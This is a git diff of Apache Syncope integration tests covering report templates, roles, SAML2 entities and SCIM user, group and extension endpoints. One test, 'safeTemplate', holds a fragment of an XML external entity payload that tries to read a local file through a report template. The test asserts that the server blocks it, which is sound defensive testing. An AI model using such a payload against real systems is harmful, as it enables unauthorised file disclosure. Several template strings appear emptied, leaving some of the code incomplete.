not use this file except in compliance - * with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, - * software distributed under the License is distributed on an - * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY - * KIND, either express or implied. See the License for the - * specific language governing permissions and limitations - * under the License. - */ -package org.apache.syncope.fit.core; - -import static org.junit.jupiter.api.Assertions.assertEquals; -import static org.junit.jupiter.api.Assertions.assertFalse; -import static org.junit.jupiter.api.Assertions.assertNotNull; -import static org.junit.jupiter.api.Assertions.assertTrue; -import static org.junit.jupiter.api.Assertions.fail; - -import java.io.IOException; -import java.io.InputStream; -import java.nio.charset.StandardCharsets; -import java.util.List; -import javax.ws.rs.core.MediaType; -import javax.ws.rs.core.Response; -import org.apache.commons.io.IOUtils; -import org.apache.syncope.common.lib.SyncopeClientException; -import org.apache.syncope.common.lib.to.ReportTemplateTO; -import org.apache.syncope.common.lib.types.ClientExceptionType; -import org.apache.syncope.common.lib.types.ReportExecExportFormat; -import org.apache.syncope.common.lib.types.ReportTemplateFormat; -import org.apache.syncope.fit.AbstractITCase; -import org.junit.jupiter.api.Assertions; -import org.junit.jupiter.api.Test; - -public class ReportTemplateITCase extends AbstractITCase { - - @Test - public void read() { - ReportTemplateTO reportTemplateTO = REPORT_TEMPLATE_SERVICE.read("sample"); - assertNotNull(reportTemplateTO); - } - - @Test - public void list() { - List reportTemplateTOs = REPORT_TEMPLATE_SERVICE.list(); - assertNotNull(reportTemplateTOs); - assertFalse(reportTemplateTOs.isEmpty()); - reportTemplateTOs.forEach(Assertions::assertNotNull); - } - - @Test - public void crud() throws IOException { - final String key = getUUIDString(); - - // 1. create (empty) report template - ReportTemplateTO reportTemplateTO = new ReportTemplateTO(); - reportTemplateTO.setKey(key); - - Response response = REPORT_TEMPLATE_SERVICE.create(reportTemplateTO); - assertEquals(201, response.getStatus()); - - // 2. attempt to read HTML and CSV -> fail - try { - REPORT_TEMPLATE_SERVICE.getFormat(key, ReportTemplateFormat.HTML); - fail("This should not happen"); - } catch (SyncopeClientException e) { - assertEquals(ClientExceptionType.NotFound, e.getType()); - } - try { - REPORT_TEMPLATE_SERVICE.getFormat(key, ReportTemplateFormat.CSV); - fail("This should not happen"); - } catch (SyncopeClientException e) { - assertEquals(ClientExceptionType.NotFound, e.getType()); - } - - // 3. set CSV - String csvTemplate = - ""; - REPORT_TEMPLATE_SERVICE.setFormat( - key, ReportTemplateFormat.CSV, IOUtils.toInputStream(csvTemplate, StandardCharsets.UTF_8)); - - response = REPORT_TEMPLATE_SERVICE.getFormat(key, ReportTemplateFormat.CSV); - assertEquals(200, response.getStatus()); - assertTrue(response.getMediaType().toString().startsWith(MediaType.APPLICATION_XML)); - assertTrue(response.getEntity() instanceof InputStream); - assertEquals( - csvTemplate, - IOUtils.toString((InputStream) response.getEntity(), StandardCharsets.UTF_8)); - - // 3. set HTML - String htmlTemplate = - ""; - REPORT_TEMPLATE_SERVICE.setFormat( - key, ReportTemplateFormat.HTML, IOUtils.toInputStream(htmlTemplate, StandardCharsets.UTF_8)); - - response = REPORT_TEMPLATE_SERVICE.getFormat(key, ReportTemplateFormat.HTML); - assertEquals(200, response.getStatus()); - assertTrue(response.getMediaType().toString().startsWith(MediaType.APPLICATION_XML)); - assertTrue(response.getEntity() instanceof InputStream); - assertEquals( - htmlTemplate, - IOUtils.toString((InputStream) response.getEntity(), StandardCharsets.UTF_8)); - - // 4. remove HTML - REPORT_TEMPLATE_SERVICE.removeFormat(key, ReportTemplateFormat.HTML); - - try { - REPORT_TEMPLATE_SERVICE.getFormat(key, ReportTemplateFormat.HTML); - fail("This should not happen"); - } catch (SyncopeClientException e) { - assertEquals(ClientExceptionType.NotFound, e.getType()); - } - - response = REPORT_TEMPLATE_SERVICE.getFormat(key, ReportTemplateFormat.CSV); - assertEquals(200, response.getStatus()); - assertTrue(response.getMediaType().toString().startsWith(MediaType.APPLICATION_XML)); - assertTrue(response.getEntity() instanceof InputStream); - assertEquals( - csvTemplate, - IOUtils.toString((InputStream) response.getEntity(), StandardCharsets.UTF_8)); - - // 5. remove report template - REPORT_TEMPLATE_SERVICE.delete(key); - - try { - REPORT_TEMPLATE_SERVICE.read(key); - fail("This should not happen"); - } catch (SyncopeClientException e) { - assertEquals(ClientExceptionType.NotFound, e.getType()); - } - try { - REPORT_TEMPLATE_SERVICE.getFormat(key, ReportTemplateFormat.HTML); - fail("This should not happen"); - } catch (SyncopeClientException e) { - assertEquals(ClientExceptionType.NotFound, e.getType()); - } - try { - REPORT_TEMPLATE_SERVICE.getFormat(key, ReportTemplateFormat.CSV); - fail("This should not happen"); - } catch (SyncopeClientException e) { - assertEquals(ClientExceptionType.NotFound, e.getType()); - } - } - - @Test - public void safeTemplate() throws IOException { - Response response = REPORT_TEMPLATE_SERVICE.getFormat("sample", ReportTemplateFormat.HTML); - String before = IOUtils.toString((InputStream) response.getEntity(), StandardCharsets.UTF_8); - assertNotNull(before); - - String execKey = ReportITCase.execReport("0062ea9c-924d-4ecf-9961-4492a8cc6d1b"); - assertNotNull(execKey); - response = REPORT_SERVICE.exportExecutionResult(execKey, ReportExecExportFormat.HTML); - String result = IOUtils.toString((InputStream) response.getEntity(), StandardCharsets.UTF_8); - assertNotNull(result); - assertTrue(result.startsWith("\n" - + "]>\n" - + "\n" - + " &file;\n" - + ""; - try { - REPORT_TEMPLATE_SERVICE.setFormat("sample", ReportTemplateFormat.HTML, - IOUtils.toInputStream(malicious, StandardCharsets.UTF_8)); - - response = REPORT_SERVICE.exportExecutionResult(execKey, ReportExecExportFormat.HTML); - result = IOUtils.toString((InputStream) response.getEntity(), StandardCharsets.UTF_8); - assertNotNull(result); - assertTrue(result.isEmpty()); - } finally { - REPORT_TEMPLATE_SERVICE.setFormat("sample", ReportTemplateFormat.HTML, - IOUtils.toInputStream(before, StandardCharsets.UTF_8)); - } - } - - @Test - public void issueSYNCOPE866() { - ReportTemplateTO reportTemplateTO = new ReportTemplateTO(); - reportTemplateTO.setKey("empty"); - try { - REPORT_TEMPLATE_SERVICE.create(reportTemplateTO); - fail("This should not happen"); - } catch (SyncopeClientException e) { - assertEquals(ClientExceptionType.EntityExists, e.getType()); - } - } -} diff --git a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/ResourceITCase.java b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/ResourceITCase.java index 9cf43483ee9..dda42c542f1 100644 --- a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/ResourceITCase.java +++ b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/ResourceITCase.java @@ -94,7 +94,7 @@ private static ResourceTO buildResourceTO(final String resourceKey) { @Test public void getPropagationActionsClasses() { - Set actions = ADMIN_CLIENT.platform(). + Set actions = ANONYMOUS_CLIENT.platform(). getJavaImplInfo(IdMImplementationType.PROPAGATION_ACTIONS).get().getClasses(); assertNotNull(actions); assertFalse(actions.isEmpty()); diff --git a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/RoleITCase.java b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/RoleITCase.java index bfa30eb202c..15b403087a3 100644 --- a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/RoleITCase.java +++ b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/RoleITCase.java @@ -138,23 +138,30 @@ public void dynMembership() { assertTrue(bellini.getDynRoles().isEmpty()); assertTrue(bellini.getPrivileges().isEmpty()); - RoleTO role = getSampleRoleTO("dynMembership"); - role.getPrivileges().add("getMighty"); - role.setDynMembershipCond("cool==true"); - Response response = ROLE_SERVICE.create(role); - role = getObject(response.getLocation(), RoleService.class, RoleTO.class); - assertNotNull(role); - - bellini = USER_SERVICE.read("bellini"); - assertTrue(bellini.getDynRoles().contains(role.getKey())); - assertTrue(bellini.getPrivileges().contains("getMighty")); - - role.setDynMembershipCond("cool==false"); - ROLE_SERVICE.update(role); - - bellini = USER_SERVICE.read("bellini"); - assertTrue(bellini.getDynMemberships().isEmpty()); - assertTrue(bellini.getPrivileges().isEmpty()); + RoleTO role = null; + try { + role = getSampleRoleTO("dynMembership"); + role.getPrivileges().add("getMighty"); + role.setDynMembershipCond("cool==true"); + Response response = ROLE_SERVICE.create(role); + role = getObject(response.getLocation(), RoleService.class, RoleTO.class); + assertNotNull(role); + + bellini = USER_SERVICE.read("bellini"); + assertTrue(bellini.getDynRoles().contains(role.getKey())); + assertTrue(bellini.getPrivileges().contains("getMighty")); + + role.setDynMembershipCond("cool==false"); + ROLE_SERVICE.update(role); + + bellini = USER_SERVICE.read("bellini"); + assertTrue(bellini.getDynMemberships().isEmpty()); + assertTrue(bellini.getPrivileges().isEmpty()); + } finally { + if (role != null) { + ROLE_SERVICE.delete(role.getKey()); + } + } } @Test diff --git a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/SAML2IdPEntityITCase.java b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/SAML2IdPEntityITCase.java index f61197cd0d3..8d56f15e7e2 100644 --- a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/SAML2IdPEntityITCase.java +++ b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/SAML2IdPEntityITCase.java @@ -24,8 +24,6 @@ import java.nio.charset.StandardCharsets; import java.util.Base64; -import org.apache.syncope.client.lib.AnonymousAuthenticationHandler; -import org.apache.syncope.client.lib.SyncopeClient; import org.apache.syncope.client.lib.SyncopeClientFactoryBean; import org.apache.syncope.common.lib.SyncopeClientException; import org.apache.syncope.common.lib.to.SAML2IdPEntityTO; @@ -42,9 +40,7 @@ public class SAML2IdPEntityITCase extends AbstractITCase { public static void setup() { assumeTrue(CLIENT_FACTORY.getContentType() == SyncopeClientFactoryBean.ContentType.JSON); - SyncopeClient anonymous = CLIENT_FACTORY.create( - new AnonymousAuthenticationHandler(ANONYMOUS_UNAME, ANONYMOUS_KEY)); - WA_SAML2IDP_ENTITY_SERVICE = anonymous.getService(SAML2IdPEntityService.class); + WA_SAML2IDP_ENTITY_SERVICE = ANONYMOUS_CLIENT.getService(SAML2IdPEntityService.class); } private static SAML2IdPEntityTO set() { diff --git a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/SAML2SPEntityITCase.java b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/SAML2SPEntityITCase.java index daa41babfbd..26fd91ba8c6 100644 --- a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/SAML2SPEntityITCase.java +++ b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/SAML2SPEntityITCase.java @@ -24,8 +24,6 @@ import java.nio.charset.StandardCharsets; import java.util.Base64; -import org.apache.syncope.client.lib.AnonymousAuthenticationHandler; -import org.apache.syncope.client.lib.SyncopeClient; import org.apache.syncope.client.lib.SyncopeClientFactoryBean; import org.apache.syncope.common.lib.SyncopeClientException; import org.apache.syncope.common.lib.to.SAML2SPEntityTO; @@ -44,9 +42,7 @@ public class SAML2SPEntityITCase extends AbstractITCase { public static void setup() { assumeTrue(CLIENT_FACTORY.getContentType() == SyncopeClientFactoryBean.ContentType.JSON); - SyncopeClient anonymous = CLIENT_FACTORY.create( - new AnonymousAuthenticationHandler(ANONYMOUS_UNAME, ANONYMOUS_KEY)); - WA_SAML2SP_ENTITY_SERVICE = anonymous.getService(SAML2SPEntityService.class); + WA_SAML2SP_ENTITY_SERVICE = ANONYMOUS_CLIENT.getService(SAML2SPEntityService.class); } private static SAML2SPEntityTO set() { diff --git a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/SCIMITCase.java b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/SCIMITCase.java index 421e046b8ff..2b7b9a2d9c3 100644 --- a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/SCIMITCase.java +++ b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/SCIMITCase.java @@ -20,9 +20,11 @@ import static org.junit.jupiter.api.Assertions.assertEquals; import static org.junit.jupiter.api.Assertions.assertFalse; +import static org.junit.jupiter.api.Assertions.assertNotEquals; import static org.junit.jupiter.api.Assertions.assertNotNull; import static org.junit.jupiter.api.Assertions.assertNull; import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.junit.jupiter.api.Assertions.fail; import static org.junit.jupiter.api.Assumptions.assumeTrue; import com.fasterxml.jackson.core.JsonProcessingException; @@ -37,25 +39,44 @@ import java.time.temporal.ChronoUnit; import java.util.List; import java.util.UUID; +import javax.ws.rs.HttpMethod; import javax.ws.rs.core.GenericType; import javax.ws.rs.core.HttpHeaders; import javax.ws.rs.core.Response; import org.apache.commons.lang3.StringUtils; import org.apache.cxf.jaxrs.client.WebClient; +import org.apache.syncope.common.lib.SyncopeConstants; +import org.apache.syncope.common.lib.request.AnyObjectUR; +import org.apache.syncope.common.lib.request.GroupUR; +import org.apache.syncope.common.lib.request.StringPatchItem; +import org.apache.syncope.common.lib.request.UserUR; import org.apache.syncope.common.lib.scim.SCIMComplexConf; import org.apache.syncope.common.lib.scim.SCIMConf; +import org.apache.syncope.common.lib.scim.SCIMEnterpriseUserConf; +import org.apache.syncope.common.lib.scim.SCIMExtensionAnyConf; +import org.apache.syncope.common.lib.scim.SCIMExtensionAnyObjectConf; +import org.apache.syncope.common.lib.scim.SCIMGroupConf; +import org.apache.syncope.common.lib.scim.SCIMItem; import org.apache.syncope.common.lib.scim.SCIMUserConf; import org.apache.syncope.common.lib.scim.SCIMUserNameConf; import org.apache.syncope.common.lib.scim.types.EmailCanonicalType; +import org.apache.syncope.common.lib.to.AnyObjectTO; +import org.apache.syncope.common.lib.to.GroupTO; import org.apache.syncope.common.lib.to.ProvisioningResult; import org.apache.syncope.common.lib.to.UserTO; +import org.apache.syncope.common.lib.types.PatchOperation; +import org.apache.syncope.common.rest.api.Preference; +import org.apache.syncope.common.rest.api.RESTHeaders; +import org.apache.syncope.common.rest.api.beans.AnyQuery; import org.apache.syncope.ext.scimv2.api.SCIMConstants; import org.apache.syncope.ext.scimv2.api.data.Group; import org.apache.syncope.ext.scimv2.api.data.ListResponse; import org.apache.syncope.ext.scimv2.api.data.Member; import org.apache.syncope.ext.scimv2.api.data.ResourceType; +import org.apache.syncope.ext.scimv2.api.data.SCIMAnyObject; import org.apache.syncope.ext.scimv2.api.data.SCIMComplexValue; import org.apache.syncope.ext.scimv2.api.data.SCIMError; +import org.apache.syncope.ext.scimv2.api.data.SCIMExtensionInfo; import org.apache.syncope.ext.scimv2.api.data.SCIMGroup; import org.apache.syncope.ext.scimv2.api.data.SCIMSearchRequest; import org.apache.syncope.ext.scimv2.api.data.SCIMUser; @@ -78,8 +99,14 @@ public class SCIMITCase extends AbstractITCase { static { CONF = new SCIMConf(); + + CONF.setGroupConf(new SCIMGroupConf()); + + CONF.getGroupConf().setExternalId("originalName"); + CONF.setUserConf(new SCIMUserConf()); + CONF.getUserConf().setNickName("ctype"); CONF.getUserConf().setDisplayName("cn"); CONF.getUserConf().setName(new SCIMUserNameConf()); @@ -95,6 +122,50 @@ public class SCIMITCase extends AbstractITCase { email.setValue("email"); email.setType(EmailCanonicalType.home); CONF.getUserConf().getEmails().add(email); + + SCIMExtensionAnyObjectConf printerConf = new SCIMExtensionAnyObjectConf(); + printerConf.setType(PRINTER); + printerConf.setName("syncope"); + printerConf.setDescription("syncope printer"); + SCIMItem model = new SCIMItem(); + model.setIntAttrName("model"); + model.setExtAttrName("model"); + SCIMItem location = new SCIMItem(); + location.setIntAttrName("location"); + location.setExtAttrName("location"); + printerConf.add(model); + printerConf.add(location); + CONF.getExtensionAnyObjectsConf().add(printerConf); + } + + private static SCIMUser getSampleUser(final String username, final List schemas) { + SCIMUser user = new SCIMUser(null, schemas, null, username, true); + user.setPassword("password123"); + + SCIMUserName name = new SCIMUserName(); + name.setGivenName(username); + name.setFamilyName("surname"); + name.setFormatted(username); + user.setName(name); + + SCIMComplexValue userId = new SCIMComplexValue(); + userId.setType(EmailCanonicalType.work.name()); + userId.setValue(username + "@syncope.apache.org"); + user.getEmails().add(userId); + + SCIMComplexValue email = new SCIMComplexValue(); + email.setType(EmailCanonicalType.home.name()); + email.setValue(username + "@syncope.apache.org"); + user.getEmails().add(email); + + return user; + } + + private static SCIMGroup getSampleGroup(final String name, final List schemas) { + SCIMGroup group = new SCIMGroup(null, schemas, null, name); + group.setDisplayName(name); + + return group; } @BeforeAll @@ -132,7 +203,7 @@ public void serviceProviderConfig() { ServiceProviderConfig serviceProviderConfig = response.readEntity(ServiceProviderConfig.class); assertNotNull(serviceProviderConfig); - assertFalse(serviceProviderConfig.getPatch().isSupported()); + assertTrue(serviceProviderConfig.getPatch().isSupported()); assertFalse(serviceProviderConfig.getBulk().isSupported()); assertTrue(serviceProviderConfig.getChangePassword().isSupported()); assertTrue(serviceProviderConfig.getEtag().isSupported()); @@ -163,6 +234,26 @@ public void resourceTypes() { @Test public void schemas() { + SCIMExtensionAnyConf extensionUserConf = new SCIMExtensionAnyConf(); + extensionUserConf.setName("syncope"); + extensionUserConf.setDescription("syncope user"); + SCIMItem scimItem = new SCIMItem(); + scimItem.setIntAttrName("gender"); + scimItem.setExtAttrName("gender"); + extensionUserConf.add(scimItem); + CONF.setExtensionUserConf(extensionUserConf); + + SCIMExtensionAnyConf extensionGroupConf = new SCIMExtensionAnyConf(); + extensionGroupConf.setName("syncope"); + extensionGroupConf.setDescription("syncope group"); + SCIMItem scimItemGroup = new SCIMItem(); + scimItemGroup.setIntAttrName("originalName"); + scimItemGroup.setExtAttrName("originalName"); + scimItemGroup.setUniqueness(true); + extensionGroupConf.add(scimItemGroup); + CONF.setExtensionGroupConf(extensionGroupConf); + SCIM_CONF_SERVICE.set(CONF); + Response response = webClient().path("Schemas").get(); assertEquals(Response.Status.OK.getStatusCode(), response.getStatus()); assertEquals( @@ -171,7 +262,7 @@ public void schemas() { ArrayNode schemas = response.readEntity(ArrayNode.class); assertNotNull(schemas); - assertEquals(3, schemas.size()); + assertEquals(6, schemas.size()); response = webClient().path("Schemas").path("none").get(); assertEquals(Response.Status.NOT_FOUND.getStatusCode(), response.getStatus()); @@ -182,6 +273,32 @@ public void schemas() { ObjectNode enterpriseUser = response.readEntity(ObjectNode.class); assertNotNull(enterpriseUser); assertEquals(Resource.EnterpriseUser.schema(), enterpriseUser.get("id").textValue()); + + response = webClient().path("Schemas").path(Resource.ExtensionUser.schema()).get(); + assertEquals(Response.Status.OK.getStatusCode(), response.getStatus()); + + ObjectNode extensionUser = response.readEntity(ObjectNode.class); + assertNotNull(extensionUser); + assertEquals(Resource.ExtensionUser.schema(), extensionUser.get("id").textValue()); + + response = webClient().path("Schemas").path(Resource.ExtensionGroup.schema()).get(); + assertEquals(Response.Status.OK.getStatusCode(), response.getStatus()); + + ObjectNode extensionGroup = response.readEntity(ObjectNode.class); + assertNotNull(extensionGroup); + assertEquals(Resource.ExtensionGroup.schema(), extensionGroup.get("id").textValue()); + + response = webClient().path("Schemas").path("urn:ietf:params:scim:schemas:extension:syncope:2.0:PRINTER").get(); + assertEquals(Response.Status.OK.getStatusCode(), response.getStatus()); + + ObjectNode extensionPrinter = response.readEntity(ObjectNode.class); + assertNotNull(extensionPrinter); + assertEquals("urn:ietf:params:scim:schemas:extension:syncope:2.0:PRINTER", + extensionPrinter.get("id").textValue()); + + CONF.setExtensionUserConf(null); + CONF.setExtensionGroupConf(null); + SCIM_CONF_SERVICE.set(CONF); } @Test @@ -221,7 +338,7 @@ public void read() throws IOException { } @Test - public void conf() { + public void scimConf() { SCIMConf conf = SCIM_CONF_SERVICE.get(); assertNotNull(conf); @@ -238,6 +355,25 @@ public void conf() { assertEquals("Rossini, Gioacchino", user.getDisplayName()); } + @Test + void invalidConf() { + SCIMExtensionAnyConf extensionUserConf = new SCIMExtensionAnyConf(); + extensionUserConf.setName("syncope"); + extensionUserConf.setDescription("syncope user"); + SCIMItem scimItem = new SCIMItem(); + scimItem.setIntAttrName("gender"); + scimItem.setExtAttrName("gender"); + scimItem.setMultiValued(true); + extensionUserConf.add(scimItem); + CONF.setExtensionUserConf(extensionUserConf); + try { + SCIM_CONF_SERVICE.set(CONF); + fail(); + } catch (Exception ignored) { + CONF.setExtensionUserConf(null); + } + } + @Test public void list() throws IOException { Response response = webClient().path("Groups").query("count", 1100000).get(); @@ -247,6 +383,7 @@ public void list() throws IOException { response = webClient().path("Groups"). query("sortBy", "displayName"). + query("startIndex", 12). query("count", 11). get(); assertEquals(Response.Status.OK.getStatusCode(), response.getStatus()); @@ -258,6 +395,7 @@ public void list() throws IOException { }); assertNotNull(result); assertTrue(result.getTotalResults() > 0); + assertEquals(12, result.getStartIndex()); assertEquals(11, result.getItemsPerPage()); assertFalse(result.getResources().isEmpty()); @@ -265,6 +403,15 @@ public void list() throws IOException { assertNotNull(group.getId()); assertNotNull(group.getDisplayName()); }); + + response = webClient().path("Groups"). + query("sortBy", "displayName"). + query("startIndex", 2). + query("count", 11). + get(); + error = response.readEntity(SCIMError.class); + assertEquals(Response.Status.BAD_REQUEST.getStatusCode(), error.getStatus()); + assertEquals(ErrorType.invalidValue, error.getScimType()); } @Test @@ -291,6 +438,36 @@ public void search() { SCIMGroup additional = groups.getResources().get(0); assertEquals("additional", additional.getDisplayName()); + List usersList = USER_SERVICE.search(new AnyQuery.Builder() + .realm(SyncopeConstants.ROOT_REALM) + .page(0) + .size(15) + .fiql("$groups==additional") + .build()).getResult(); + assertEquals(usersList.size(), additional.getMembers().size()); + + // eq to get members + response = webClient().path("Groups").query("filter", "displayName eq \"child\"").get(); + assertEquals(Response.Status.OK.getStatusCode(), response.getStatus()); + assertEquals( + SCIMConstants.APPLICATION_SCIM_JSON, + StringUtils.substringBefore(response.getHeaderString(HttpHeaders.CONTENT_TYPE), ";")); + + groups = response.readEntity(new GenericType<>() { + }); + assertNotNull(groups); + assertEquals(1, groups.getTotalResults()); + + SCIMGroup child = groups.getResources().get(0); + assertEquals("child", child.getDisplayName()); + usersList = USER_SERVICE.search(new AnyQuery.Builder() + .realm(SyncopeConstants.ROOT_REALM) + .page(0) + .size(15) + .fiql("$groups==child") + .build()).getResult(); + assertEquals(usersList.size(), child.getMembers().size()); + assertTrue(child.getMembers().stream().anyMatch(member -> member.getDisplay().equals("verdi"))); // eq via POST SCIMSearchRequest request = new SCIMSearchRequest("displayName eq \"additional\"", null, null, null, null); @@ -328,36 +505,87 @@ public void search() { SCIMUser newSCIMUser = users.getResources().get(0); assertEquals(newUser.getUsername(), newSCIMUser.getUserName()); - } - private static SCIMUser getSampleUser(final String username) { - SCIMUser user = new SCIMUser(null, List.of(Resource.User.schema()), null, username, true); - user.setPassword("password123"); - - SCIMUserName name = new SCIMUserName(); - name.setGivenName(username); - name.setFamilyName("surname"); - name.setFormatted(username); - user.setName(name); - - SCIMComplexValue userId = new SCIMComplexValue(); - userId.setType(EmailCanonicalType.work.name()); - userId.setValue(username + "@syncope.apache.org"); - user.getEmails().add(userId); - - SCIMComplexValue email = new SCIMComplexValue(); - email.setType(EmailCanonicalType.home.name()); - email.setValue(username + "@syncope.apache.org"); - user.getEmails().add(email); - - return user; + SCIMEnterpriseUserConf beforeEntConf = CONF.getEnterpriseUserConf(); + SCIMExtensionAnyConf beforeExtConf = CONF.getExtensionUserConf(); + try { + SCIMEnterpriseUserConf entConf = new SCIMEnterpriseUserConf(); + entConf.setOrganization("userId"); + CONF.setEnterpriseUserConf(entConf); + + SCIMExtensionAnyConf extConf = new SCIMExtensionAnyConf(); + SCIMItem item = new SCIMItem(); + item.setIntAttrName("email"); + item.setExtAttrName("email"); + extConf.add(item); + CONF.setExtensionUserConf(extConf); + + SCIM_CONF_SERVICE.set(CONF); + + // Enterprise User + response = webClient().path("Users").query( + "filter", + "urn:ietf:params:scim:schemas:extension:enterprise:2.0:User:organization eq \"verdi@apache.org\""). + get(); + assertEquals(Response.Status.OK.getStatusCode(), response.getStatus()); + assertEquals( + SCIMConstants.APPLICATION_SCIM_JSON, + StringUtils.substringBefore(response.getHeaderString(HttpHeaders.CONTENT_TYPE), ";")); + + users = response.readEntity(new GenericType<>() { + }); + assertNotNull(users); + assertEquals(1, users.getTotalResults()); + assertFalse(users.getResources().get(0).getGroups().isEmpty()); + + // Extension User + response = webClient().path("Users").query( + "filter", + "urn:ietf:params:scim:schemas:extension:syncope:2.0:User:email sw \"verdi\""). + get(); + assertEquals(Response.Status.OK.getStatusCode(), response.getStatus()); + assertEquals( + SCIMConstants.APPLICATION_SCIM_JSON, + StringUtils.substringBefore(response.getHeaderString(HttpHeaders.CONTENT_TYPE), ";")); + + users = response.readEntity(new GenericType<>() { + }); + assertNotNull(users); + assertEquals(1, users.getTotalResults()); + + // PRINTER + response = webClient().path("AnyObjects").query( + "filter", + "urn:ietf:params:scim:schemas:extension:syncope:2.0:PRINTER:model eq \"Canon MFC8030\""). + get(); + assertEquals(Response.Status.INTERNAL_SERVER_ERROR.getStatusCode(), response.getStatus()); + + response = webClient().path("AnyObjects").query( + "filter", + "urn:ietf:params:scim:schemas:extension:syncope:2.0:PRINTER:model eq \"Canon MFC8030\" " + + "and type eq \"PRINTER\""). + get(); + assertEquals(Response.Status.OK.getStatusCode(), response.getStatus()); + assertEquals( + SCIMConstants.APPLICATION_SCIM_JSON, + StringUtils.substringBefore(response.getHeaderString(HttpHeaders.CONTENT_TYPE), ";")); + + ListResponse printers = response.readEntity(new GenericType<>() { + }); + assertNotNull(printers); + assertEquals(1, printers.getTotalResults()); + } finally { + CONF.setEnterpriseUserConf(beforeEntConf); + CONF.setExtensionUserConf(beforeExtConf); + SCIM_CONF_SERVICE.set(CONF); + } } @Test public void createUser() throws JsonProcessingException { SCIM_CONF_SERVICE.set(CONF); - SCIMUser user = getSampleUser(UUID.randomUUID().toString()); + SCIMUser user = getSampleUser(UUID.randomUUID().toString(), List.of(Resource.User.schema())); user.getRoles().add(new Value("User reviewer")); user.getGroups().add(new Group("37d15e4c-cdc1-460b-a591-8505c8133806", null, null, null)); @@ -381,11 +609,210 @@ public void createUser() throws JsonProcessingException { assertEquals(user.getGroups().get(0).getValue(), userTO.getMemberships().get(0).getGroupKey()); } + @Test + void crudExtensionUser() { + SCIMExtensionAnyConf extensionUserConf = new SCIMExtensionAnyConf(); + extensionUserConf.setName("syncope"); + extensionUserConf.setDescription("syncope user"); + SCIMItem scimItem = new SCIMItem(); + scimItem.setIntAttrName("gender"); + scimItem.setExtAttrName("gender"); + extensionUserConf.add(scimItem); + CONF.setExtensionUserConf(extensionUserConf); + SCIM_CONF_SERVICE.set(CONF); + + SCIMUser user = getSampleUser( + UUID.randomUUID().toString(), List.of(Resource.User.schema(), Resource.ExtensionUser.schema())); + SCIMExtensionInfo scimExtensionInfo = new SCIMExtensionInfo(); + scimExtensionInfo.getAttributes().put("gender", "M"); + user.setExtensionInfo(scimExtensionInfo); + + Response response = webClient().path("Users").post(user); + assertEquals(Response.Status.CREATED.getStatusCode(), response.getStatus()); + + user = response.readEntity(SCIMUser.class); + assertNotNull(user.getId()); + assertTrue(response.getLocation().toASCIIString().endsWith(user.getId())); + + UserTO userTO = USER_SERVICE.read(user.getId()); + assertEquals(user.getUserName(), userTO.getUsername()); + assertTrue(user.isActive()); + assertEquals(user.getDisplayName(), userTO.getDerAttr("cn").get().getValues().get(0)); + assertEquals(user.getName().getGivenName(), userTO.getPlainAttr("firstname").get().getValues().get(0)); + assertEquals(user.getName().getFamilyName(), userTO.getPlainAttr("surname").get().getValues().get(0)); + assertEquals(user.getName().getFormatted(), userTO.getPlainAttr("fullname").get().getValues().get(0)); + assertEquals(user.getEmails().get(0).getValue(), userTO.getPlainAttr("userId").get().getValues().get(0)); + assertEquals(user.getEmails().get(1).getValue(), userTO.getPlainAttr("email").get().getValues().get(0)); + assertEquals(user.getExtensionInfo().getAttributes().get("gender"), + userTO.getPlainAttr("gender").get().getValues().get(0)); + + response = webClient().path("Users").path(user.getId()).delete(); + assertEquals(Response.Status.NO_CONTENT.getStatusCode(), response.getStatus()); + + response = webClient().path("Users").path(user.getId()).get(); + assertEquals(Response.Status.NOT_FOUND.getStatusCode(), response.getStatus()); + CONF.setExtensionUserConf(null); + SCIM_CONF_SERVICE.set(CONF); + } + + @Test + public void updateUser() { + SCIM_CONF_SERVICE.set(CONF); + + SCIMUser user = getSampleUser(UUID.randomUUID().toString(), List.of(Resource.User.schema())); + + Response response = webClient().path("Users").post(user); + assertEquals(Response.Status.CREATED.getStatusCode(), response.getStatus()); + + user = response.readEntity(SCIMUser.class); + assertNotNull(user.getId()); + assertNull(user.getNickName()); + assertTrue(user.isActive()); + + // 1. update no path, add value and suspend + String body = + "{" + + " \"schemas\":[\"urn:ietf:params:scim:api:messages:2.0:PatchOp\"]," + + " \"Operations\": [" + + " {" + + " \"op\": \"add\"," + + " \"value\": {" + + " \"nickName\": \"" + user.getUserName() + "\"," + + " \"active\": false" + + " }" + + " }" + + " ]" + + "}"; + response = webClient().path("Users").path(user.getId()).invoke(HttpMethod.PATCH, body); + assertEquals(Response.Status.OK.getStatusCode(), response.getStatus()); + + user = response.readEntity(SCIMUser.class); + assertEquals(user.getUserName(), user.getNickName()); + assertFalse(user.isActive()); + + // 2. update with path, reactivate + body = + "{" + + "\"schemas\":[\"urn:ietf:params:scim:api:messages:2.0:PatchOp\"]," + + "\"Operations\":[{" + + "\"op\":\"Replace\"," + + "\"path\":\"active\"," + + "\"value\":true" + + "}]" + + "}"; + response = webClient().path("Users").path(user.getId()).invoke(HttpMethod.PATCH, body); + assertEquals(Response.Status.OK.getStatusCode(), response.getStatus()); + + user = response.readEntity(SCIMUser.class); + assertTrue(user.isActive()); + + // 3. update with path, replace simple value + assertNotEquals("newSurname", user.getName().getFamilyName()); + body = + "{" + + 